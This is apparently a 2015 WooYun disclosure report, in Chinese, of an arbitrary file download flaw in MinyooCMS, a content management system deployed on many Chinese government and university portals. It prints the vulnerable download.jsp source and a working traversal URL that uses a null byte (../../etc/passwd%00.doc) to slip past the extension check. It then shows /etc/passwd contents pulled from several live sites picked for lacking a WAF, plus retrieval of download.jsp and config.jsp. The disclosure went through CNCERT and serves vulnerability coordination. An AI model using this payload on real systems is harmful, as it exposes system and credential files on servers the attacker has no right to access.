当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0147302

漏洞标题:某政府CMS任意文件下载

相关厂商:cncert国家互联网应急中心

漏洞作者: 陆由乙

提交时间:2015-10-17 09:20

修复时间:2015-12-05 15:04

公开时间:2015-12-05 15:04

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-17: 细节已通知厂商并且等待厂商处理中
2015-10-21: 厂商已经确认,细节仅向厂商公开
2015-10-31: 细节向核心白帽子及相关领域专家公开
2015-11-10: 细节向普通白帽子公开
2015-11-20: 细节向实习白帽子公开
2015-12-05: 细节向公众公开

简要描述:

详细说明:

MinyooCMS
。。。
cms官网
**.**.**.**
政府行业(部分)
石家庄市政府(门户网站群平台(含下属52个部门100多个站点)、政民互动平台)
河北省气象局(门户网站群平台、气象数据展示系统)
河北省教育厅(门户网站群平台)
河北省公安交通管理局(内部办公系统)
石家庄市旅游局(门户网站群平台、流媒体点播系统、短信平台)
石家庄市城乡规划局(内网门户网站群平台、外网门户网站群平台)
石家庄市发展和改革委员会(门户网站群平台)
石家庄市农工委(门户网站群平台)
石家庄市农业信息中心(门户网站群平台)
石家庄市桥西区统计局(内网门户网站群平台)
石家庄市裕华区政府(门户网站群平台)
石家庄市法制办(执法监督信息平台)
石家庄市长安区教育局(门户网站群平台)
深泽县政府(门户网站群平台)
乐亭新区临港工业聚集区管理委员会(门户网站群平台)
……

教育行业(部分)
华北理工大学(门户网站群平台)
河北经贸大学(门户网站群平台)
河北广播电视大学(门户网站群平台、招生录取查询系统、单招系统)
河北能源职业技术学院(门户网站群平台、教师贡献评定系统)
唐山学院(门户网站群平台)
唐山师范学院(门户网站群平台)
唐山工业职业技术学院(门户网站群平台)
唐山职业技术学院(门户网站群平台、招生就业管理系统)
河北经贸大学经济管理学院(门户网站群平台)
华北理工大学冀唐学院(门户网站群平台)
河北司法警官职业学院(门户网站群平台、精品课程网)
河北传媒学院(门户网站群平台)
石家庄学院(门户网站群平台)
石家庄经济学院(门户网站群平台、招生就业管理系统)
邢台学院(门户网站群平台、精品课程网)
廊坊师范学院(门户网站群平台)
张家口学院(门户网站群平台、流媒体管理系统、网页防篡改)
河北体育学院(门户网站群平台)
河北中医学院(门户网站群平台)
石家庄幼儿师范高等专科学校(门户网站群平台、精品课程网、招生录取查询系统)
河北工程技术高等专科学校(门户网站群平台)
北京市教育信息中心(门户网站群平台)
……

其他行业(部分)
马鞍山电视台(门户网站群平台)
德州电视台(门户网站群平台)
巴塞尔公约亚太地区协调中心(门户网站群平台、BBS论坛、会员管理系统)
斯德哥尔摩区域协调中心(多语言-门户网站群平台)
中国科学技术协会(门户网站群平台)
北京融合世纪广告有限公司-融资中国(门户网站群平台)
京昆高速公路京石管理处(门户网站群平台)
……
漏洞文件download.jsp

<%@page language="java" contentType="application/x-msdownload" pageEncoding="iso8859-1"%><%@ page import="org.springframework.context.ApplicationContext"%><%@ page import="org.springframework.web.context.support.WebApplicationContextUtils"%><%@ page import="com.clove.cms.dao.AttachmentDAO"%><%@ page import="com.clove.cms.model.Attachment"%><jsp:useBean id="file" class="com.clove.core.file.CommonFile" scope="page"/><%@ include file="config.jsp" %><%
response.reset();
response.setContentType("application/force-download");
String pathfile = request.getParameter("pathfile");
if (pathfile == null || pathfile.trim().length() < 5) {
return;
}
String filename = null;
String fileType = "";
int len1 = pathfile.length();
int len2 = pathfile.lastIndexOf("/");
if (len1 > len2) {
filename = pathfile.substring(len2 + 1);
fileType = file.getFileType(filename);
ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(getServletConfig().getServletContext());
AttachmentDAO adao = (AttachmentDAO) ctx.getBean("AttachmentDAO");
Attachment attachment = adao.getByCondition(filename, null);
if (attachment != null) {
if (fileType.length() > 0) {
filename = attachment.getName()+"."+fileType;
}
attachment = null;
}
ctx = null;
}
if (filename == null || filename.trim().length() < 5) {
return;
}
String[] accessfile = new String[]{".html",".htm",".zip",".rar",".doc",".xls",".ppt",".txt",".pdf",".psd",".bmp",".jpg",".gif",".png",".swf",".avi",".wmv",".mp3",".ram",".rm",".flv",".mpeg"};
boolean bb = false;
for (int i=0; i<accessfile.length; i++) {
if (("."+fileType).equalsIgnoreCase(accessfile[i])) {
bb = true;
break;
}
}
accessfile = null;
if (!bb) {
return;
}
String filedownload = getServletConfig().getServletContext().getRealPath("") + "/site/" + webid + pathfile;
if (!file.exists(filedownload)) {
response.addHeader("Content-Disposition","attachment;filename=filenotfound");
return;
}
filename = new String(filename.getBytes("gbk"),"iso8859-1");
response.setCharacterEncoding("iso8859-1");
response.addHeader("Content-Disposition","attachment;filename=" + filename);
**.**.**.**.OutputStream outp = null;
**.**.**.**.FileInputStream in = null;
try {
outp = response.getOutputStream();
in = new **.**.**.**.FileInputStream(filedownload);
byte[] b = new byte[1024];
int i = 0;
while((i = in.read(b)) > 0) {
outp.write(b, 0, i);
}
outp.flush();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(in != null) {
in.close();
in = null;
}
if(outp != null) {
outp.close();
outp = null;
}
}
%>

漏洞证明:

以下为案例:(重要的政府站都有WAF所以找了一些没WAF的)
**.**.**.**/download.jsp?pathfile=/../../../../../../../../../../../../../../../../../../../../etc/passwd%00.doc

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
admin:x:500:500:admin:/home/admin:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash


http://**.**.**.**/download.jsp?pathfile=/../../../../../../../../../../../../../../../../../../../../etc/passwd%00.doc

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
www:x:500:500::/alidata/www:/sbin/nologin
mysql:x:501:501::/home/mysql:/sbin/nologin
postgres:x:502:503::/home/postgres:/bin/bash


http://**.**.**.**/download.jsp?pathfile=/../../../../../../../../../../../../../../../../../../../../etc/passwd%00.doc

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
squid:x:23:23::/var/spool/squid:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
admin:x:500:500:admin:/home/admin:/bin/bash
mysql:x:501:501::/home/mysql:/bin/bash


http://**.**.**.**/download.jsp?pathfile=/../../../../../../../../../../../../../../../../../../../../etc/passwd%00.doc

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
pulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
mysql:x:500:500::/home/mysql:/bin/bash


http://**.**.**.**/download.jsp?pathfile=/download.jsp%00.doc

<%@page language="java" contentType="application/x-msdownload" pageEncoding="iso8859-1"%><%@ page import="org.springframework.context.ApplicationContext"%><%@ page import="org.springframework.web.context.support.WebApplicationContextUtils"%><%@ page import="com.clove.cms.dao.AttachmentDAO"%><%@ page import="com.clove.cms.model.Attachment"%><jsp:useBean id="file" class="com.clove.core.file.CommonFile" scope="page"/><%@ include file="config.jsp" %><%
response.reset();
response.setContentType("application/force-download");
String pathfile = request.getParameter("pathfile");
if (pathfile == null || pathfile.trim().length() < 5) {
return;
}
String filename = null;
String fileType = "";
int len1 = pathfile.length();
int len2 = pathfile.lastIndexOf("/");
if (len1 > len2) {
filename = pathfile.substring(len2 + 1);
fileType = file.getFileType(filename);
ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(getServletConfig().getServletContext());
AttachmentDAO adao = (AttachmentDAO) ctx.getBean("AttachmentDAO");
Attachment attachment = adao.getByCondition(filename, null);
if (attachment != null) {
if (fileType.length() > 0) {
filename = attachment.getName()+"."+fileType;
}
attachment = null;
}
ctx = null;
}
if (filename == null || filename.trim().length() < 5) {
return;
}
String[] accessfile = new String[]{".html",".htm",".zip",".rar",".doc",".xls",".ppt",".txt",".pdf",".psd",".bmp",".jpg",".gif",".png",".swf",".avi",".wmv",".mp3",".ram",".rm",".flv",".mpeg"};
boolean bb = false;
for (int i=0; i<accessfile.length; i++) {
if (("."+fileType).equalsIgnoreCase(accessfile[i])) {
bb = true;
break;
}
}
accessfile = null;
if (!bb) {
return;
}
String filedownload = getServletConfig().getServletContext().getRealPath("") + "/site/" + webid + pathfile;
if (!file.exists(filedownload)) {
response.addHeader("Content-Disposition","attachment;filename=filenotfound");
return;
}
filename = new String(filename.getBytes("gbk"),"iso8859-1");
response.setCharacterEncoding("iso8859-1");
response.addHeader("Content-Disposition","attachment;filename=" + filename);
**.**.**.**.OutputStream outp = null;
**.**.**.**.FileInputStream in = null;
try {
outp = response.getOutputStream();
in = new **.**.**.**.FileInputStream(filedownload);
byte[] b = new byte[1024];
int i = 0;
while((i = in.read(b)) > 0) {
outp.write(b, 0, i);
}
outp.flush();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(in != null) {
in.close();
in = null;
}
if(outp != null) {
outp.close();
outp = null;
}
}
%>


**.**.**.**/download.jsp?pathfile=/download.jsp%00.doc

<%@page language="java" contentType="application/x-msdownload" pageEncoding="iso8859-1"%><%@ page import="org.springframework.context.ApplicationContext"%><%@ page import="org.springframework.web.context.support.WebApplicationContextUtils"%><%@ page import="com.clove.cms.dao.AttachmentDAO"%><%@ page import="com.clove.cms.model.Attachment"%><jsp:useBean id="file" class="com.clove.core.file.CommonFile" scope="page"/><%@ include file="config.jsp" %><%
response.reset();
response.setContentType("application/force-download");
String pathfile = request.getParameter("pathfile");
if (pathfile == null || pathfile.trim().length() < 5) {
return;
}
String filename = null;
String fileType = "";
int len1 = pathfile.length();
int len2 = pathfile.lastIndexOf("/");
if (len1 > len2) {
filename = pathfile.substring(len2 + 1);
fileType = file.getFileType(filename);
ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(getServletConfig().getServletContext());
AttachmentDAO adao = (AttachmentDAO) ctx.getBean("AttachmentDAO");
Attachment attachment = adao.getByCondition(filename, null);
if (attachment != null) {
if (fileType.length() > 0) {
filename = attachment.getName()+"."+fileType;
}
attachment = null;
}
ctx = null;
}
if (filename == null || filename.trim().length() < 5) {
return;
}
String[] accessfile = new String[]{".html",".htm",".zip",".rar",".doc",".xls",".ppt",".txt",".pdf",".psd",".bmp",".jpg",".gif",".png",".swf",".avi",".wmv",".mp3",".ram",".rm",".flv",".mpeg"};
boolean bb = false;
for (int i=0; i<accessfile.length; i++) {
if (("."+fileType).equalsIgnoreCase(accessfile[i])) {
bb = true;
break;
}
}
accessfile = null;
if (!bb) {
return;
}
String filedownload = getServletConfig().getServletContext().getRealPath("") + "/site/" + webid + pathfile;
if (!file.exists(filedownload)) {
response.addHeader("Content-Disposition","attachment;filename=filenotfound");
return;
}
filename = new String(filename.getBytes("gbk"),"iso8859-1");
response.setCharacterEncoding("iso8859-1");
response.addHeader("Content-Disposition","attachment;filename=" + filename);
**.**.**.**.OutputStream outp = null;
**.**.**.**.FileInputStream in = null;
try {
outp = response.getOutputStream();
in = new **.**.**.**.FileInputStream(filedownload);
byte[] b = new byte[1024];
int i = 0;
while((i = in.read(b)) > 0) {
outp.write(b, 0, i);
}
outp.flush();
} catch(Exception e) {
e.printStackTrace();
} finally {
if(in != null) {
in.close();
in = null;
}
if(outp != null) {
outp.close();
outp = null;
}
}
%>


http://**.**.**.**/download.jsp?pathfile=/download.jsp%00.doc
http://**.**.**.**/download.jsp?pathfile=/download.jsp%00.doc
等等
http://**.**.**.**/download.jsp?pathfile=/config.jsp%00.doc
下载config文件也可以。

钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱钱.png


http://**.**.**.**:8192/member/

阿萨德.png


泄漏了权限什么的。

修复方案:

过滤

版权声明:转载请注明来源 陆由乙@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-10-21 15:02

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件和电话通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无